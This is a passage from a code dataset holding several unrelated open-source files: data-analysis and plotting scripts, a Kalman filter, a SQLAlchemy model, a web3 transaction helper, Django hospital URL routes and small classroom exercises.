getAll(app, system, datasize, dataset=config[\"dataset\"])\n # df = pd.DataFrame(runtimes, columns = ['Runtime', 'Num', 'Type', 'Size'])\n # df[\"Cost\"] = df.apply(lambda x: (prices[x[\"Type\"] + \".\" + x[\"Size\"]]/3600.0) * x[\"Num\"] * x[\"Runtime\"] , axis=1)\n # min_runtime = df['Runtime'].min()\n\n cost = pd.DataFrame({'Algorithms':[], 'Budget':[], 'Cost':[], 'Experiment': [], 'Runtime': [], 'Best Runtime': [], 'Best Cost': []})\n\n for eid in range(config[\"num_of_runs\"]):\n df_eid = df_select[df_select['Experiment']== eid]\n # print(df_eid)\n for budget in steps:\n\n df_grouped = df_eid[df_eid['Budget'] <= budget].groupby(['Algorithms']) #.describe(percentiles=[0.05, 0.5, 0.95])\n df_sum = df_grouped['Cost', 'Runtime'].sum()\n df_sum = df_sum.reset_index()\n df_sum = df_sum.set_index(['Algorithms'])\n # print(df_sum)\n df_grouped = df_eid[df_eid['Budget'] <= budget]\n df_sum[\"Best Runtime\"] = df_grouped[df_grouped['Completed']==True].groupby(['Algorithms'])['Runtime'].min()\n df_sum[\"Best Cost\"] = df_grouped[df_grouped['Completed']==True].groupby(['Algorithms'])['Cost'].min()\n # print(df_sum)\n df_sum = df_sum.reset_index()\n df_sum[\"Experiment\"] = eid\n df_sum[\"Budget\"] = budget\n cost = cost.append(df_sum)\n \n temp = cost.groupby(['Algorithms', 'Budget'])['Cost', 'Best Runtime', 'Runtime', 'Best Cost'].median().reset_index()\n temp[\"Workload\"] = title \n median_cost = median_cost.append(temp)\n # print(median_cost)\n\n\n\n medians = median_cost.groupby(['Budget', 'Algorithms'])['Cost', 'Best Runtime', 'Runtime', 'Best Cost'].median()\n\n medians = medians.reset_index()\n\n \n # print(medians)\n for algo in medians['Algorithms'].unique():\n # print(algo)\n # print(medians[(medians['Algorithms']==algo) & (medians[\"Budget\"]==6.0)].iloc[0].values[2:])\n base_opt_cost, base_best_runtime, base_opt_time, base_best_ecost = medians[(medians['Algorithms']==algo) & (medians[\"Budget\"]==6.0)].iloc[0].values[2:]\n for budget in steps[1:]:\n curr_opt_cost, curr_best_runtime, curr_opt_time, curr_best_ecost = medians[(medians['Algorithms']==algo) & (medians[\"Budget\"]==budget)].iloc[0].values[2:]\n if config[\"metric\"]== \"Runtime\":\n extra = (curr_opt_time - base_opt_time)/(base_best_runtime-curr_best_runtime)\n else:\n extra = (curr_opt_cost - base_opt_cost)/(base_best_ecost-curr_best_ecost)\n print(algo, budget, extra, base_best_ecost, curr_best_ecost)\n extra_runs = extra_runs.append({'Algorithms': algo, 'Budget': int(budget), 'Extra Runs': extra}, ignore_index=True)\n\nplt.figure(figsize=(4, 2))\nextra_runs[\"Budget\"] = extra_runs[\"Budget\"].astype(int)\nprint(extra_runs.groupby('Algorithms')['Extra Runs'].describe())\n# print(extra_runs)\n# ax = sns.lineplot(x='Budget', y='Extra Runs', hue='Algorithms', data=extra_runs, style=\"Algorithms\",markers=True)\nax = sns.barplot(x='Budget', y='Extra Runs', hue='Algorithms', data=extra_runs, ci=None)\nh, l = ax.get_legend_handles_labels()\n# print(l)\nif config[\"legends_outside\"]:\n ax.legend(bbox_to_anchor=(0,1.02,1,0.2), loc=\"lower left\", ncol=config[\"legend_cols\"], prop={'size': 9}, handles=h, labels=transform_labels(l))\nelse:\n ax.legend(loc='upper left', ncol=config[\"legend_cols\"], prop={'size': 9} , handles=h, labels=transform_labels(l))\n\n# if \"Runtime\" not in config[\"metric\"]:\n# ax.set_yscale('log')\n\n# ax.get_legend().set_title()\n# ax.set_ylim(bottom=0)\n# plt.xticks(steps[1:])\ndir = 'plots/breakeven/' + prefix \nos.makedirs(dir, exist_ok=True)\nplt.savefig(dir+ '/breakeven.pdf', bbox_inches = \"tight\")\n# plt.show()\n ","repo_name":"MBtech/bbo-arena","sub_path":"analysis/breakeven.py","file_name":"breakeven.py","file_ext":"py","file_size_in_byte":6815,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"2135431484","text":"#!/usr/bin/python3\n\"\"\"\nDefines a square\n\"\"\"\n\n\nclass Square:\n \"\"\"\n That defines a square by: based on 2-square.py\n \"\"\"\n def __init__(self, size=0):\n self.__size = size\n if type(size) != int:\n raise TypeError(\"size must be an integer\")\n if size < 0:\n raise ValueError(\"size must be >= 0\")\n\n def area(self):\n \"\"\"\n That returns the current square area\n \"\"\"\n square_area = self.__size\n return square_area * square_area\n","repo_name":"CllaudiaB/holbertonschool-higher_level_programming","sub_path":"python-classes/3-square.py","file_name":"3-square.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"20208196396","text":"\"\"\"Test spider runners.\"\"\"\n\nimport logging\n\nimport pytest\n\nfrom tests.config import Config\nfrom rlgpy.scraper.runners import SafeSpiderRunner\n\n\nlogger = logging.getLogger(__name__)\n\n\n@pytest.mark.integration\n@pytest.mark.parametrize(\n argnames='spider,settings',\n argvalues=[test for test in Config.spider_test_info()],\n scope='module'\n)\ndef test_runner_single_no_errors(spider, settings):\n \"\"\"Ensure the custom spider runner will run synchronously without producing any errors.\"\"\"\n logger.info('Testing spider runner for {}'.format(spider))\n SafeSpiderRunner.run(spider=spider, settings=settings, delete_file=True)\n","repo_name":"Alfa-Q/rlgpy","sub_path":"tests/scraper/test_spider_runner.py","file_name":"test_spider_runner.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"70"} +{"seq_id":"70809368228","text":"from datetime import datetime\nfrom typing import Union\nfrom typing import List\n\nfrom .base import Base\nfrom .base import CommonQueries\n\nfrom sqlalchemy import Column, and_, func\nfrom sqlalchemy import String\nfrom sqlalchemy.dialects.postgresql import TSRANGE, ExcludeConstraint\n\nfrom sqlalchemy import Index\nfrom geoalchemy2 import Geometry\n\n\nclass MovingPoints(Base, CommonQueries):\n __table_args__ = (\n # ExcludeConstraint(('line_id', '='), ('trip_id', '='), ('pos', '&&')),\n # PrimaryKeyConstraint(\"stop_code\", \"date_time\"),\n ExcludeConstraint(('trip_id', '='), ('stop_code', '='), ('study_area', '='), ('validity_range', '&&')),\n Index('idx_dates_area_geometry', \"validity_range\", \"study_area\", \"geometry\"),\n Index('idx_geom_study_area', \"geometry\", \"study_area\"),\n {'schema': 'gtfs_data'}\n )\n\n stop_code = Column(String)\n study_area = Column(String(32), index=True)\n trip_id = Column(String(32))\n validity_range = Column(TSRANGE())\n geometry = Column(Geometry('POINT', 4326))\n route_type = Column(String(32))\n stop_name = Column(String(32))\n route_long_name = Column(String)\n\n @classmethod\n def filter_by_date_area(cls, date: datetime, area_name: str, geometry_bounds: Union[List[str], List[float]]):\n return cls._session.query(\n func.st_x(cls.geometry).label(\"x\"),\n func.st_y(cls.geometry).label(\"y\"),\n cls.route_long_name,\n cls.route_type\n ).filter(\n and_(\n cls.study_area == area_name,\n cls.validity_range.op('@>')(date),\n cls.geometry.intersects(func.st_makeenvelope(*geometry_bounds))\n )\n )\n\n @classmethod\n def get_bounds_by_area(cls, area_name: str):\n return cls._session.query(\n func.st_astext(func.st_extent(cls.geometry)).label(\"data_bounds\"),\n func.min(func.lower(cls.validity_range)).label(\"start_date\"),\n func.max(func.upper(cls.validity_range)).label(\"end_date\"),\n ).filter(\n cls.study_area == area_name,\n ).group_by(\n cls.study_area\n )\n\n @classmethod\n def get_areas(cls):\n return cls._session.query(\n cls.study_area\n ).group_by(\n cls.study_area\n )\n","repo_name":"amauryval/gtfs_builder","sub_path":"gtfs_builder/db/moving_points.py","file_name":"moving_points.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"2081004710","text":"import numpy as np\nimport math\nimport detector as det\nimport tracking_utility as tr_ut\nimport pandas as pd\n\nclass KalmanFilter:\n# def __init__(self):\n \n def predict(self,tracks,obsrv,module_trans):\n ndata = tracks.get_state().shape[0]\n ndim = tracks.get_state().shape[1]\n state_trans = np.matlib.repmat(np.identity(ndim),ndata,1).reshape(ndata,ndim,ndim)\n state_trans_control= np.zeros((ndata,ndim))\n self.predict_state = np.zeros((ndata,ndim)) \n self.predict_cov = np.zeros((ndata,ndim,ndim)) \n PA = np.zeros((ndata,ndim,ndim)) \n for i in range(ndim):\n #state prediction\n self.predict_state[:,i] = np.sum(state_trans[:,i] * tracks.get_state(), axis=1) + state_trans_control[:,i]\n for j in range(ndim):\n PA[:,i,j] = np.sum(tracks.get_state_cov()[:,i] * state_trans[:,j], axis=1)\n\n for i in range(ndim):\n for j in range(ndim):\n self.predict_cov[:,i,j] = np.sum(state_trans[:,i] * PA[:,:,j],axis=1)\n\n self.predict_cov += tracks.get_state_cov()\n self.predict_obsrv = tr_ut.get_predict_obsrv(self.predict_state,module_trans)[:,0]\n chi = obsrv - self.predict_obsrv\n\n #print('predict: ',self.predict_obsrv, chi)\n if 1:\n tmp_predict_state = np.zeros((ndata,ndim)) \n invert_state = tr_ut.invert_state(tracks.get_state())\n for i in range(ndim):\n #state prediction\n tmp_predict_state[:,i] = np.sum(state_trans[:,i] * invert_state, axis=1) + state_trans_control[:,i]\n tmp_predict_obsrv = tr_ut.get_predict_obsrv(tmp_predict_state,module_trans)[:,0]\n invert = chi**2 > (obsrv - tmp_predict_obsrv)**2\n self.predict_obsrv[invert] = tmp_predict_obsrv[invert]\n self.predict_state[invert] = tmp_predict_state[invert]\n chi = obsrv - self.predict_obsrv\n\n #rotate_state = tr_ut.rotate_state(tracks.get_state())\n #for i in range(ndim):\n #state prediction\n # tmp_predict_state[:,i] = np.sum(state_trans[:,i] * rotate_state, axis=1) + state_trans_control[:,i]\n #tmp_predict_obsrv = tr_ut.get_predict_obsrv(tmp_predict_state,module_trans)[:,0]\n #rotate = chi**2 > (obsrv - tmp_predict_obsrv)**2\n #self.predict_obsrv[rotate] = tmp_predict_obsrv[rotate]\n #self.predict_state[rotate] = tmp_predict_state[rotate]\n\n tracks.set_state(self.predict_state)\n chi = obsrv - self.predict_obsrv\n #print('obsrv: ',obsrv)\n #print('predict: ',self.predict_obsrv, chi)\n tracks.set_sum_chi2(tracks.df.sum_chi2.values + chi*chi)\n\n return chi\n \n def filter(self,tracks,obsrv,obsrv_cov,module_trans):\n ndata = tracks.get_state().shape[0]\n ndim_state = tracks.get_state().shape[1]\n ndim_obsrv = 1\n\n q = np.ones(ndata)\n q[tracks.get_state()[:,0]<0] = -1\n phi = tracks.get_state()[:,2]\n condition = [(q<0) & (phimath.pi] -= math.pi\n \n chi = obsrv - self.predict_obsrv\n #print('obsrv : ' , obsrv)\n #print('predict : ', self.predict_obsrv)\n #print('chi ', chi)\n #print('before ' , tracks.get_state())\n state_tmp = tracks.get_state()\n for i in range(ndim_state):\n #print(G[:,i,0]*chi)\n state_tmp[:,i] += G[:,i,0] * chi\n #assume only u observation\n tracks.set_state(state_tmp)\n #print('after ' , tracks.get_state())\n\n q = np.ones(ndata)\n q[tracks.get_state()[:,0]<0] = -1\n tracks.get_state()[:,2][phi>math.pi] += math.pi\n phi = tracks.get_state()[:,2]\n condition = [(q<0) & (phi (obsrv - tmp_predict_obsrv)**2\n self.predict_obsrv[invert] = tmp_predict_obsrv[invert]\n\n tracks.set_sum_chi2(tracks.df.sum_chi2.values + chi*chi)\n\n return chi \n\n def clear(self):\n del self.predict_state\n del self.predict_cov\n del self.predict_obsrv\n","repo_name":"redultimate/TrackMLMEG","sub_path":"lib/kalman.py","file_name":"kalman.py","file_ext":"py","file_size_in_byte":6752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"41308790583","text":"import numpy as np\nimport mass_ts as mts\nfrom matplotlib import pyplot as plt\nimport utility.utility_mdf as ut_mdf\n\nmain_file = ut_mdf.get_data_from_file(file_name='light_curve_Gaia-DR2_609925217624936320_date202002010')\ntarget_file = ut_mdf.get_data_from_file(file_name='light_curve_Gaia-DR2_611485012307860352_date20200201')\n# # target_file = ut_mdf.getDataFromFile(fileName='light_curve_Gaia-DR2_657906668110583552_date20200130')\n# # target_file = ut_mdf.getDataFromFile(fileName='light_curve_Gaia-DR2_657906663819888640_date20200130')\nsubInstance = main_file['instances'][1428:2759]\nsubTimestamp = main_file[\"timestamp\"][1428:2759]\n\n\n# main_file = ut_mdf.getDataFromFile(fileName='light_curve_Gaia-DR2_519401154006522368_date20191006')\n# # target_file = ut_mdf.getDataFromFile(fileName='light_curve_Gaia-DR2_519358376131632256_date20191006')\n# target_file = ut_mdf.getDataFromFile(fileName='light_curve_Gaia-DR2_657906668110583552_date20200130')\n# # target_file = ut_mdf.getDataFromFile(fileName='light_curve_Gaia-DR2_657906663819888640_date20200130')\n# subInstance = main_file['instances'][2282:3282]\n# subTimestamp = main_file[\"timestamp\"][2282:3282]\n\nplt.figure(figsize=(15,8))\nplt.plot(target_file[\"timestamp\"], target_file['instances'])\n# plt.ylabel('Accelerometer Reading')\nplt.title(target_file['fileName'])\nplt.show()\nplt.clf()\n\nplt.figure(figsize=(15,8))\nplt.plot(subTimestamp,\n subInstance)\nplt.ylabel('Accelerometer Reading')\nplt.title('Carpet Walk Sample')\nplt.show()\nplt.clf()\n\ndistances = mts.mass3(target_file['instances'],\n subInstance, len(subInstance)+100)\nmin_idx = np.argmin(distances)\n\nprint(min_idx)\nplt.figure(figsize=(15,8))\n\nplt.plot(target_file[\"timestamp\"], target_file['instances'])\nplt.plot(target_file['timestamp'][min_idx:min_idx + len(subTimestamp)],\n target_file['instances'][min_idx:min_idx + len(subTimestamp)], c='r')\nplt.ylabel('Accelerometer Reading')\nplt.title('Robot Dog Sample')\nplt.show()\nplt.clf()\n#\n# Plot the carpet walk query\nfig, (ax1, ax2) = plt.subplots(2,1,sharex=True,figsize=(20,10))\nax1.plot(subTimestamp,\n subInstance)\nax1.set_ylabel('Carpet Walk Query', size=12)\nax1.set_title(main_file['fileName'])\n# Plot our best match\nax2.plot(target_file[\"timestamp\"][min_idx:min_idx+1500]\n , target_file['instances'][min_idx:min_idx+1500])\n\nax2.set_ylabel('Our Best Match', size=12)\nax2.set_title(target_file['fileName'])\nplt.show()","repo_name":"thanapol2/data_stream","sub_path":"playground_matrix profile/mass_ts/example_Mass_MDF.py","file_name":"example_Mass_MDF.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"30134670460","text":"import time\nfrom termcolor import colored\nfrom web3 import Web3, HTTPProvider, exceptions, WebsocketProvider\nfrom web3.auto import w3 as _w3\nfrom eth_abi import encode as encode_abi\nfrom eth_account.messages import encode_defunct, encode_structured_data\nfrom . import config\n\nclass Luweb3(Web3):\n def __init__(self, http_provider=None, ws_provider=None, chain_id=None, chain_name=None, connect_timeout=10, request_kwargs={}, websocket_kwargs={}) -> None:\n if (http_provider or ws_provider) and chain_id is not None:\n self.chain_id = chain_id\n chain_name = f\"链 {chain_id}\"\n else:\n http_provider = config.chain_info[chain_name][\"http_provider\"]\n self.chain_id = config.chain_info[chain_name][\"chain_id\"]\n\n connect_time = 0\n while True:\n if ws_provider:\n self.w3 = Web3(WebsocketProvider(ws_provider, websocket_kwargs=websocket_kwargs))\n else:\n self.w3 = Web3(HTTPProvider(http_provider, request_kwargs=request_kwargs))\n\n if self.w3.is_connected() is True:\n break\n\n print(colored(f\"{chain_name} RPC连接失败, 重试...\", \"yellow\"))\n time.sleep(1)\n connect_time += 1\n if connect_time >= connect_timeout:\n print(colored(f\"{chain_name} RPC重试 {connect_timeout}s 连接失败\", \"red\"))\n raise Exception(\"http_provider connect failed\")\n print(colored(f\"{chain_name} RPC已连接\", \"green\"))\n\n @staticmethod\n def encode_abi_to_hex(types, args):\n return Web3.to_hex(encode_abi(types, args))[2:]\n\n @staticmethod\n def encode_function(func_text):\n return Web3.keccak(text=func_text)[0:4].hex()\n\n @staticmethod\n def encode_input_hex(_type, _value):\n if _type == \"uint256\":\n return \"%064x\" % _value\n elif _type == \"address\":\n return \"%064x\" % int(_value, 16)\n else:\n return _value\n\n @staticmethod\n def sign_msg(private_key, msg_text):\n message = encode_defunct(text=msg_text)\n signed_message = _w3.eth.account.sign_message(message, private_key=private_key)\n signature = signed_message[\"signature\"].hex()\n return signature\n\n @staticmethod\n def sign_eip712_msg(private_key, typed_msg):\n signed_message = _w3.eth.account.sign_message(encode_structured_data(primitive=typed_msg), private_key=private_key)\n signature = signed_message[\"signature\"].hex()\n return signature\n\n def get_gas_price(self):\n return self.w3.eth.gas_price\n\n def get_1559_base_fee(self):\n fee_dict = self.w3.eth.fee_history(1, 'latest')\n return fee_dict['baseFeePerGas'][0]\n\n def get_max_priority_fee(self):\n return self.w3.eth.max_priority_fee\n\n def get_logs(self, filter_params):\n return self.w3.eth.get_logs(filter_params)\n\n def get_nonce(self, address, estimate_nonce=0):\n return max(self.w3.eth.get_transaction_count(address), estimate_nonce)\n\n def get_transaction_receipt(self, tx_hash):\n return self.w3.eth.get_transaction_receipt(tx_hash)\n\n # 获取原生代币数量\n def get_eth_balance(self, address):\n return self.w3.eth.get_balance(address)\n\n # 检查交易确认情况\n # status: 0->回退 1->已确认 2->超时 3->其他异常\n def __check_transaction(self, txn_hash, poll_latency, timeout):\n status = 0\n txn_detail = {}\n count = 0\n while True:\n # 超时\n if count * poll_latency >= timeout:\n print(colored(f\"{txn_hash.hex()} 交易超时\", \"red\"))\n status = 2\n break\n\n try:\n txn_detail = self.w3.eth.get_transaction_receipt(txn_hash)\n status = txn_detail['status']\n except exceptions.TransactionNotFound:\n time.sleep(poll_latency)\n count += 1\n except Exception as e:\n print(colored(f\"交易状态异常: {str(e)}\", \"yellow\"))\n time.sleep(poll_latency)\n count += 1\n # status = 3\n # txn_detail = { \"error\": str(e) }\n # break\n else:\n if status == 1:\n print(colored(f\"交易 {txn_hash.hex()} 已成功确认\", \"green\"))\n break\n elif status == 0:\n print(colored(f\"交易 {txn_hash.hex()} 已失败回退\", \"red\"))\n break\n else:\n print(colored(f\"交易 {txn_hash.hex()} 状态异常\", \"red\"))\n\n return status, txn_detail\n\n # 构造 input_data 发送交易\n def send_raw_transaction(\n self, address, private_key, to_address, nonce, gas_option={}, input_data=\"0x\",\n tx_type=1, value=0, gas_limit=None, is_async=False, timeout=300, poll_latency=0.5):\n if gas_limit is None:\n gas_limit = self.get_estimate_gas(address, to_address, value, input_data)\n\n tx_data = {\n 'from': address,\n 'to': to_address,\n 'value': value,\n 'data': input_data,\n 'gas': gas_limit,\n 'chainId': self.chain_id\n }\n if not bool(gas_option):\n if tx_type == 1:\n tx_data[\"gasPrice\"] = self.w3.eth.gas_price\n else:\n tx_data[\"maxFeePerGas\"] = self.get_1559_base_fee() + self.get_max_priority_fee()\n tx_data[\"maxPriorityFeePerGas\"] = self.get_max_priority_fee()\n else:\n for k in gas_option:\n tx_data[k] = gas_option[k]\n tx_data['nonce'] = self.get_nonce(address, estimate_nonce=nonce)\n sign_txn = self.w3.eth.account.sign_transaction(tx_data, private_key=private_key)\n txn_hash = self.w3.eth.send_raw_transaction(sign_txn.rawTransaction)\n if is_async:\n print(colored(f'交易已提交, hash: {txn_hash.hex()}', \"blue\"))\n return 0, tx_data[\"nonce\"], {}\n else:\n print(colored(f'交易确认中, hash: {txn_hash.hex()}', \"blue\"))\n # status, txn_detail = self.__check_transaction(txn_hash, poll_latency, timeout)\n try:\n while True:\n txn_detail = self.w3.eth.wait_for_transaction_receipt(txn_hash, timeout=timeout, poll_latency=poll_latency)\n if txn_detail[\"status\"] != None:\n break\n time.sleep(5)\n except exceptions.BadResponseFormat:\n time.sleep(poll_latency)\n else:\n print(colored(f'交易已确认, hash: {txn_hash.hex()}, 状态: {txn_detail[\"status\"]}', \"green\"))\n return txn_detail[\"status\"], tx_data[\"nonce\"], txn_detail\n\n def send_raw_transaction_with_gas(\n self, address, private_key, to_address, nonce, input_data=\"0x\", value=0, tx_type=1,\n price_mul=1, limit_mul=1, is_async=False, timeout=300, poll_latency=0.5):\n gas_limit = self.get_estimate_gas(address, to_address, value=value, data=input_data)\n if price_mul == 1:\n return self.send_raw_transaction(\n address, private_key, to_address, nonce, input_data=input_data, value=value, tx_type=tx_type,\n gas_limit=int(gas_limit * limit_mul), is_async=is_async, timeout=timeout, poll_latency=poll_latency\n )\n else:\n if tx_type == 1:\n gas_option = {\n \"gasPrice\": int(price_mul * self.get_gas_price())\n }\n else:\n base_fee = self.get_1559_base_fee()\n priority_fee = self.get_max_priority_fee()\n gas_option = {\n \"maxFeePerGas\": int((base_fee + priority_fee) * price_mul),\n \"maxPriorityFeePerGas\": int(priority_fee * price_mul),\n }\n return self.send_raw_transaction(\n address, private_key, to_address, nonce, gas_option=gas_option, input_data=input_data, tx_type=tx_type,\n value=value, gas_limit=int(gas_limit * limit_mul), is_async=is_async, timeout=timeout, poll_latency=poll_latency\n )\n\n def send_raw_transaction_with_gas_loop(\n self, address, private_key, to_address, nonce, input_data=\"0x\", value=0, tx_type=1,\n price_mul_start=1, price_mul_step=0.1, limit_mul=1, timeout=300, poll_latency=0.5, retries=5):\n retry = 0\n while retry < retries:\n price_mul = price_mul_start + retry * price_mul_step \n try:\n status, nonce, tx_detail = self.send_raw_transaction_with_gas(\n address, private_key, to_address, nonce, input_data, value, tx_type, price_mul,\n limit_mul, timeout=timeout, poll_latency=poll_latency\n )\n except Exception as e:\n if \"is not in the chain after\" in str(e) or \"transaction underpriced\" in str(e) or \"ALREADY_EXISTS\" in str(e):\n print(colored(f\"{address} 交易未确认/GAS太低: {str(e)}\", \"yellow\"))\n retry += 1\n continue\n print(colored(f\"{address} 交易报错: {str(e)}\", \"red\"))\n return 0, 0, {}\n else:\n return status, nonce, tx_detail\n\n # 授权ERC-20代币\n def approve_erc20_token(\n self, address, private_key, spender_addr, token_addr,\n limit=int(\"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\", 16),\n gas_option={}, tx_type=1, gas_limit=None, nonce=0, is_async=False, check_allowance=False\n ):\n execute = True\n if check_allowance:\n allowance = self.get_erc20_allowance(address, spender_addr, token_addr)\n if allowance >= limit:\n execute = False\n return 1, nonce - 1, {}\n\n if execute:\n input_data = f\"0x095ea7b3{Luweb3.encode_input_hex('address', spender_addr)}{Luweb3.encode_input_hex('uint256', limit)}\"\n return self.send_raw_transaction(address, private_key, token_addr, nonce, gas_option=gas_option, gas_limit=gas_limit, input_data=input_data, tx_type=tx_type, is_async=is_async)\n\n # 发送ERC-20代币 \n def send_erc20_token(\n self, address, private_key, receiver, token_address, amount,\n gas_option={}, tx_type=1, gas_limit=None, nonce=0, is_async=False\n ):\n input_data = f\"0xa9059cbb%064x%064x\" % (int(receiver, 16), amount)\n return self.send_raw_transaction(address, private_key, token_address, nonce, gas_option=gas_option, gas_limit=gas_limit, input_data=input_data, tx_type=tx_type, is_async=is_async)\n\n # 获取已授权ERC20代币数量\n def get_erc20_allowance(self, address, spender, token_address):\n func_text = \"allowance(address,address)\"\n arg_types = [\"address\", \"address\"]\n args = [address, spender]\n return int(self.read_raw_contract_function(token_address, func_text, arg_types, args), 16)\n\n # 没有abi情况下读取合约数据\n def read_raw_contract_function(self, contract_addr, func_text, args_types=None, args=None):\n func_bytes = self.encode_function(func_text)\n if args_types is None or args is None:\n args_bytes = ''\n else:\n args_bytes = self.encode_abi_to_hex(args_types, args)\n data = f\"{func_bytes}{args_bytes}\"\n tx_data = {\n \"to\": contract_addr,\n \"data\": data\n }\n return self.w3.eth.call(tx_data).hex()\n\n def get_erc20_balance(self, address, token_address):\n func_text = 'balanceOf(address)'\n args_types = ['address']\n args = [address]\n return int(self.read_raw_contract_function(token_address, func_text, args_types, args), 16)\n\n # 获取预期gas_limit\n def get_estimate_gas(self, address, to_address, value=0, data=\"0x\"):\n return self.w3.eth.estimate_gas({\n \"from\": address,\n \"to\": to_address,\n \"value\": value,\n \"data\": data\n })\n\n def get_block_number(self):\n return self.w3.eth.get_block_number()\n\n def get_block(self, block_number=\"latest\"):\n return self.w3.eth.get_block(block_number)\n\n def construct_contract(self, contract_addr, contract_abi):\n return self.w3.eth.contract(address=contract_addr, abi=contract_abi)\n\n def sign_send_transaction(self, pk, txn_dict, is_async=False, timeout=300, poll_latency=0.5):\n signed_txn = self.w3.eth.account.sign_transaction(txn_dict, pk)\n txn_hash = self.w3.eth.send_raw_transaction(signed_txn.rawTransaction)\n if is_async:\n print(colored(f'交易已提交, hash: {txn_hash.hex()}', \"blue\"))\n return 0, txn_dict[\"nonce\"], {}\n else:\n print(colored(f'交易确认中, hash: {txn_hash.hex()}', \"blue\"))\n # status, txn_detail = self.__check_transaction(txn_hash, poll_latency, timeout)\n try:\n txn_detail = self.w3.eth.wait_for_transaction_receipt(txn_hash, timeout=timeout, poll_latency=poll_latency)\n except exceptions.BadResponseFormat:\n time.sleep(poll_latency)\n else:\n print(colored(f'交易已确认, hash: {txn_hash.hex()}, 状态: {txn_detail[\"status\"]}', \"green\"))\n return txn_detail[\"status\"], txn_dict[\"nonce\"], txn_detail\n\n # # 写方法\n # def write_contract(self, func_name, *args):\n # nonce = self.w3.eth.get_transaction_count(self.base_addr)\n # tx_dict = self.contract.functions[func_name](*args).buildTransaction({\n # 'from': self.base_addr,\n # 'chainId': 56,\n # 'gasPrice': self.w3.eth.gasPrice,\n # 'nonce': nonce,\n # })\n # signed_txn = self.w3.eth.account.signTransaction(tx_dict, self.base_pk)\n # txn_hash = self.w3.eth.sendRawTransaction(signed_txn.rawTransaction)\n # print(colored(f'交易确认中, hash: {txn_hash.hex()}', \"blue\"))\n # txn_detail = self.w3.eth.wait_for_transaction_receipt(txn_hash, timeout=300, poll_latency=0.1)\n # print(colored(f'交易已确认, hash: {txn_hash.hex()}, 状态: {txn_detail[\"status\"]}', \"green\"))\n # return txn_detail[\"status\"], txn_detail[\"logs\"]","repo_name":"maginaro/lumao-utils","sub_path":"luutils/luweb3.py","file_name":"luweb3.py","file_ext":"py","file_size_in_byte":14386,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"70"} +{"seq_id":"34430393180","text":"# from django.contrib import admin\nfrom django.urls import path\nfrom .views import About,Home,Contact,Index,Login,Logout_admin,View_Doctor,Delete_Doctor,Add_Doctor, View_Patient,Delete_Patient,Add_Patient,View_Appointment, Add_Appointment, Delete_Appointment, Add_Informe,View_Informe, Delete_Informe, Ver_Informe, Report\n\nurlpatterns = [\n # path('admin/', admin.site.urls),\n path('', Home, name='home'),\n path('about/', About, name='about'),\n path('contact/', Contact, name='contact'),\n path('admin_login/', Login, name='admin_login'),\n path('logout/', Logout_admin, name='logout_admin'),\n path('index/', Index, name='dashboard'),\n path('view_doctor/', View_Doctor, name='view_doctor'),\n path('add_doctor/', Add_Doctor, name='add_doctor'),\n path('view_patient/', View_Patient, name='view_patient'),\n path('view_appointment/', View_Appointment, name='view_appointment'),\n path('add_patient/', Add_Patient, name='add_patient'),\n path('add_appointment/', Add_Appointment, name='add_appointment'),\n path('delete_doctor(?p)/', Delete_Doctor, name='delete_doctor'),\n path('delete_patient(?p)/', Delete_Patient, name='delete_patient'),\n path('delete_appointment(?p)/', Delete_Appointment, name='delete_appointment'),\n\n path('add_informe/',Add_Informe,name='add_informe'),\n path('view_informe/',View_Informe,name='view_informe'),\n path('delete_informe(?p)/', Delete_Informe, name='delete_informe'),\n path('ver_informe(?p)/',Ver_Informe,name='ver_informe'),\n\n path('report',Report,name='report'),\n\n]\n","repo_name":"RodrigoCoronelLoza/citomap","sub_path":"hospital/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21311465014","text":"\nclass orbitalRemovalMethod(object):\n # This class holds a method of orbital removal\n def __init__(self, name, massLimit,\n altitudeLimit, removedPerYear, cost=0):\n self.name = name\n self.massLimit = massLimit\n self.altitudeLimit = altitudeLimit\n self.removedPerYear = removedPerYear\n self.cost = cost\n\n # this function returns a bool that says if this method can remove an object\n # given the mass and altitude\n\n def withinLimits(self, mass, altitude):\n withinAltitude = (altitude >= self.altitudeLimit[0] and\n altitude <= self.altitudeLimit[1])\n withinMass = (mass >= self.massLimit[0] and\n mass <= self.massLimit[1])\n return (withinAltitude and withinMass)\n","repo_name":"BrandonKirklen/Space-Debris-Mitigation-Simulator","sub_path":"debrisRemoval.py","file_name":"debrisRemoval.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43219362930","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 11 14:41:14 2020\n\n@author: juan.cotrino\n\"\"\"\n\nfrom Hapi.droughtanalysis import ExportRastersFromDB\n\n# variables = ['runoff', 'soil_moisture', 'water_stress']\nanalysis = 'NCDA'\n# percentiles = [60, 65, 70, 75, 80, 90, 95]\n\nvariables = ['runoff']\npercentiles = [60]\n\nmain_path = \"E:/JC_FA_TESIS/\"\n\nfor percentile in percentiles:\n for variable in variables:\n\n db_file = main_path + \"Datos/DBs/NCDA_CDA/perc_\" + str(percentile) + \"/\" + analysis + \"/\" + variable + \"/\" + \"drought_binary_\" + variable + \"_perc_\" + str(percentile) + \".pickle\" \n reference_raster = main_path + \"Datos/GIS/Mapa_General/RASTERS_CUENCA/DEM.tif\"\n output_path = main_path + \"Datos/NCDA_CDA/perc_\" + str(percentile) + \"/\" + analysis + \"/\" + variable + \"/\"\n \n ExportRastersFromDB(variable, \n percentile, \n db_file, \n reference_raster, \n output_path, \n 